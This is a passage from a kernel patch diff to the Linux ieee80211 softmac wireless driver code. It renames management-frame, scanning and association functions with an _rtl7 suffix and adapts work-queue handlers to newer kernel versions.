ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { - if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); - + } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; - + if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); - + } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { - struct sk_buff *skb; + struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); - + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication) + challengelen); + if (!skb) return NULL; - + auth = (struct ieee80211_authentication *) skb_put(skb, sizeof(struct ieee80211_authentication)); - + auth->header.frame_ctl = IEEE80211_STYPE_AUTH; if (challengelen) auth->header.frame_ctl |= IEEE80211_FCTL_WEP; - + auth->header.duration_id = 0x013a; //FIXME - + memcpy(auth->header.addr1, beacon->bssid, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr3, beacon->bssid, ETH_ALEN); - + auth->algorithm = ieee->open_wep ? WLAN_AUTH_OPEN : WLAN_AUTH_SHARED_KEY; - + auth->transaction = cpu_to_le16(ieee->associate_seq); ieee->associate_seq++; - + auth->status = cpu_to_le16(WLAN_STATUS_SUCCESS); - + return skb; - + } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct sk_buff* ieee80211_probe_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { u8 *tag; int beacon_size; @@ -566,23 +572,23 @@ int encrypt; int atim_len,erp_len; struct ieee80211_crypt_data* crypt; - + char *ssid = ieee->current_network.ssid; int ssid_len = ieee->current_network.ssid_len; int rate_len = ieee->current_network.rates_len+2; int rate_ex_len = ieee->current_network.rates_ex_len; if(rate_ex_len > 0) rate_ex_len+=2; - + if(ieee->current_network.capability & WLAN_CAPABILITY_IBSS) atim_len = 4; else atim_len = 0; - - if(ieee80211_is_54g(ieee->current_network)) + + if(ieee80211_is_54g_rtl7(ieee->current_network)) erp_len = 3; else erp_len = 0; - + beacon_size = sizeof(struct ieee80211_probe_response)+ ssid_len +3 //channel @@ -590,72 +596,72 @@ +rate_ex_len +atim_len +erp_len; - + skb = dev_alloc_skb(beacon_size); - - if (!skb) + + if (!skb) return NULL; - + beacon_buf = (struct ieee80211_probe_response*) skb_put(skb, beacon_size); - + memcpy (beacon_buf->header.addr1, dest,ETH_ALEN); memcpy (beacon_buf->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy (beacon_buf->header.addr3, ieee->current_network.bssid, ETH_ALEN); beacon_buf->header.duration_id = 0; //FIXME - beacon_buf->beacon_interval = + beacon_buf->beacon_interval = cpu_to_le16(ieee->current_network.beacon_interval); - beacon_buf->capability = + beacon_buf->capability = cpu_to_le16(ieee->current_network.capability & WLAN_CAPABILITY_IBSS); - + if(ieee->short_slot && (ieee->current_network.capability & WLAN_CAPABILITY_SHORT_SLOT)) - cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); - + cpu_to_le16((beacon_buf->capability |= WLAN_CAPABILITY_SHORT_SLOT)); + crypt = ieee->crypt[ieee->tx_keyidx]; - encrypt = ieee->host_encrypt && crypt && crypt->ops && + encrypt = ieee->host_encrypt && crypt && crypt->ops && (0 == strcmp(crypt->ops->name, "WEP")); - if (encrypt) + if (encrypt) beacon_buf->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - - + + beacon_buf->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_PROBE_RESP); - - beacon_buf->info_element.id = MFIE_TYPE_SSID; + + beacon_buf->info_element.id = MFIE_TYPE_SSID; beacon_buf->info_element.len = ssid_len; - + tag = (u8*) beacon_buf->info_element.data; - + memcpy(tag, ssid, ssid_len); - + tag += ssid_len; - + *(tag++) = MFIE_TYPE_RATES; - *(tag++) = rate_len-2; + *(tag++) = rate_len-2; memcpy(tag,ieee->current_network.rates,rate_len-2); tag+=rate_len-2; - + *(tag++) = MFIE_TYPE_DS_SET; *(tag++) = 1; *(tag++) = ieee->current_network.channel; - + if(atim_len){ *(tag++) = MFIE_TYPE_IBSS_SET; *(tag++) = 2; *((u16*)(tag)) = cpu_to_le16(ieee->current_network.atim_window); tag+=2; } - + if(erp_len){ *(tag++) = MFIE_TYPE_ERP; *(tag++) = 1; - *(tag++) = 0; + *(tag++) = 0; } - + if(rate_ex_len){ *(tag++) = MFIE_TYPE_RATES_EX; - *(tag++) = rate_ex_len-2; + *(tag++) = rate_ex_len-2; memcpy(tag,ieee->current_network.rates_ex,rate_ex_len-2); tag+=rate_ex_len-2; } @@ -664,208 +670,211 @@ } -struct sk_buff* ieee80211_assoc_resp(struct ieee80211_device *ieee, u8 *dest) +struct sk_buff* ieee80211_assoc_resp_rtl7(struct ieee80211_device *ieee, u8 *dest) { struct sk_buff *skb; u8* tag; - + struct ieee80211_crypt_data* crypt; struct ieee80211_assoc_response_frame *assoc; short encrypt; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); int len = sizeof(struct ieee80211_assoc_response_frame) + rate_len; - - skb = dev_alloc_skb(len); - - if (!skb) + + skb = dev_alloc_skb(len); + + if (!skb) return NULL; - + assoc = (struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, 